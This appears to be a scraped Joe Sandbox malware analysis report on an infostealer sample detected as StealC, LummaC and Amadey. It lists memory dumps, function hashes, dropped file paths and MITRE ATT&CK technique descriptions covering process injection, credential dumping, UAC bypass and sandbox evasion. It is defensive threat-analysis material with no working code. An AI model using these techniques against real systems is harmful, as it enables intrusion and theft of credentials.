Associated: 00000003.00000002.1497909248.000000000101D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497935692.0000000001031000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497974650.0000000001034000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497996215.0000000001035000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498018304.000000000103A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498062665.0000000001042000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498086719.0000000001046000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498123881.0000000001053000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498146669.0000000001054000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498195440.0000000001055000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498217944.0000000001058000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498241734.0000000001062000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498264985.0000000001067000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498287778.0000000001068000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498318454.000000000106B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498341509.000000000106C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498363363.0000000001070000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498384095.0000000001071000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498406209.0000000001074000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498406209.00000000010AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498494155.00000000010AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498523000.00000000010AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498578030.00000000010CE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498601926.00000000010CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498634012.00000000010E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498655861.00000000010E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498677003.00000000010EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498702659.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498725146.00000000010FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498757941.00000000010FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_df0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: bc13f79085fdbd92c727e0575e8ee678ac80fd0d012be2b32d89184391dfd17b
Instruction ID: 130836682fd65331a1f9f7ae8d8455c3c20ac1159822cfdd9161b2362a0a62b7
Opcode Fuzzy Hash: bc13f79085fdbd92c727e0575e8ee678ac80fd0d012be2b32d89184391dfd17b
Instruction Fuzzy Hash: 5EA1F5709017099FDB20DF64C94476AB7F8FF15314F1A822AE915E7281EB31DA44CBE1

Function 00E0BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00E0BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00E0BBE4
_xtime_get.LIBCPMT ref: 00E0BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00E0BC13

Memory Dump Source

Source File: 00000003.00000002.1497090625.0000000000DF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00DF0000, based on PE: true

Associated: 00000003.00000002.1497065195.0000000000DF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497090625.0000000000E52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497157603.0000000000E59000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497179598.0000000000E5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497201631.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497224797.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497246613.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497420411.0000000000FB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497484425.0000000000FBA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497547266.0000000000FCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497547266.0000000000FD8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497604185.0000000000FE1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497641980.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497684757.0000000000FE3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497713527.0000000000FE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497741676.0000000000FEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497762643.0000000000FF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497799064.0000000000FF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497824201.0000000000FF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497861259.0000000001009000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497909248.000000000101D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497935692.0000000001031000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497974650.0000000001034000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497996215.0000000001035000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498018304.000000000103A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498062665.0000000001042000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498086719.0000000001046000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498123881.0000000001053000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498146669.0000000001054000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498195440.0000000001055000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498217944.0000000001058000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498241734.0000000001062000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498264985.0000000001067000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498287778.0000000001068000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498318454.000000000106B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498341509.000000000106C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498363363.0000000001070000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498384095.0000000001071000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498406209.0000000001074000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498406209.00000000010AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498494155.00000000010AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498523000.00000000010AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498578030.00000000010CE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498601926.00000000010CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498634012.00000000010E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498655861.00000000010E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498677003.00000000010EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498702659.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498725146.00000000010FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498757941.00000000010FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_df0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 3fa237838bae1f930adcb04a5f240c14c49bbb62a8bd6190a340581451360390
Instruction ID: 4b7beb0a1f22db8af45c9f951e3d50ab3d1a84e43e887d0adbd043744cc969c4
Opcode Fuzzy Hash: 3fa237838bae1f930adcb04a5f240c14c49bbb62a8bd6190a340581451360390
Instruction Fuzzy Hash: 7A214F75A00109AFDF00EFA4DC819BEB7B9EF48714F201125FA01B72A1DB319D859BA1

Function 00E2F35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00E2F3A3

Strings

8", xrefs: 00E2F44B
`', xrefs: 00E2F375

Memory Dump Source

Source File: 00000003.00000002.1497090625.0000000000DF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00DF0000, based on PE: true

Associated: 00000003.00000002.1497065195.0000000000DF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497090625.0000000000E52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497157603.0000000000E59000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497179598.0000000000E5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497201631.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497224797.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497246613.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497420411.0000000000FB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497484425.0000000000FBA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497547266.0000000000FCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497547266.0000000000FD8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497604185.0000000000FE1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497641980.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497684757.0000000000FE3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497713527.0000000000FE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497741676.0000000000FEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497762643.0000000000FF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497799064.0000000000FF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497824201.0000000000FF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497861259.0000000001009000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497909248.000000000101D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497935692.0000000001031000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497974650.0000000001034000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497996215.0000000001035000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498018304.000000000103A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498062665.0000000001042000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498086719.0000000001046000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498123881.0000000001053000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498146669.0000000001054000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498195440.0000000001055000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498217944.0000000001058000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498241734.0000000001062000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498264985.0000000001067000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498287778.0000000001068000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498318454.000000000106B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498341509.000000000106C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498363363.0000000001070000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498384095.0000000001071000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498406209.0000000001074000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498406209.00000000010AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498494155.00000000010AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498523000.00000000010AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498578030.00000000010CE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498601926.00000000010CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498634012.00000000010E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498655861.00000000010E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498677003.00000000010EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498702659.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498725146.00000000010FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498757941.00000000010FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_df0000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"$`'
API String ID: 3903695350-1436819768
Opcode ID: f2a954481fc456895d3dfdd05186c016d27fdee8dd84767c83a5c48d6e696891
Instruction ID: 1823065d2cb104b1a4a8b8cfa0529cf2a79fb02d742101e8c329c63e48d3df03
Opcode Fuzzy Hash: f2a954481fc456895d3dfdd05186c016d27fdee8dd84767c83a5c48d6e696891
Instruction Fuzzy Hash: EC313731600225DFEB31AA39E845B5B73F8EF4035EF14643AE459E65A5DE70E8808B21

Analysis Process: bfa374134d.exePID: 6976, Parent PID: 8152COMMON

Non-executed Functions

Function 010E882E Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000003.2199526432.00000000010DE000.00000004.00000020.00020000.00000000.sdmp, Offset: 010DE000, based on PE: false

Associated: 00000007.00000003.1899098300.00000000010DE000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_10de000_bfa374134d.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0424293c854057f9340f0290f78c635ee47f27c0b796973429656eb4dc01975a
Instruction ID: 652c984d4312ffd16e8cf9d44ade5d5f4ed435232bb2c4eeb8d24bc0e33f4921
Opcode Fuzzy Hash: 0424293c854057f9340f0290f78c635ee47f27c0b796973429656eb4dc01975a
Instruction Fuzzy Hash: 24E0A86445E3D14FC34357B449256917FB1AF03225B1A45EBC094CB0A3E65C4D99D726

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\8be8d9c4e9.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ON80Y93WBYHTIEIKRLTF27273JXE.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\fae24101ae.exe.log

Windows Analysis Report
file.exe

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

